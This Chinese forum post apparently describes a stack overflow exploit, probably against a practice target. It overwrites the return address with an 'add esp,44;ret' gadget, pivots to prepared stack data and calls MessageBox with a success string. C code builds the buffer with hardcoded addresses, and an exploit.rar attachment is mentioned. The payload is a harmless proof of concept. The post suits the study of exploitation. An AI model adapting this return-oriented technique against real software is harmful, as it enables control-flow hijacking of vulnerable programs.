思路很简单,溢出后已经可以把数据写到堆栈里了。 只把要压入的数据预先先入到exploit指定的地方, 在CODE里找到0x00401B8D 这个地址是add esp, 44;ret 直接滑到预先设定好的地方 就可以在代码段执行代码并且正常返回,但是返回后由于ESP没有方法返回到正常的位置,出现引用原先局部变量时出错。

堆栈内容如下:

代码:
    *(DWORD *)(g_ShellCodeBuffer + 0x00) = 0x00401B8D;//保存返回地址 <- add esp, 0x44;ret
    *(DWORD *)(g_ShellCodeBuffer + 0x1C) = 0x004011CE;//指向MessageBox返回地址              <- 0x0012FC94
    *(DWORD *)(g_ShellCodeBuffer + 0x20) = 0x00000000;//MessageBox Arg1(HANDLE)                <- 0x0012FC98
    *(DWORD *)(g_ShellCodeBuffer + 0x24) = 0x0012FCAC;//MessageBox Arg2(Context)            <- 0x0012FC9C
    *(DWORD *)(g_ShellCodeBuffer + 0x28) = 0x0040606C;//MessageBox Arg3(Title)                <- 0x0012FCA0
    *(DWORD *)(g_ShellCodeBuffer + 0x2C) = 0x00000000;//MessageBox Arg4(MB_OK)                <- 0x0012FCA4
    *(DWORD *)(g_ShellCodeBuffer + 0x30) = 0x0040116C;//原返回地址                          <- 0x0012FCA8
    memcpy(g_ShellCodeBuffer + 0x34, __STR_SUCCESS__, 30);//字符串 <- 0x0012FCAC
    *(DWORD *)(g_ShellCodeBuffer + 0x80) = 0x0012FC78;//指向保存返回地址
没有发这个。 发了个很通常的。 这里膜拜一下forgot牛。。。 
上传的附件 exploit.rar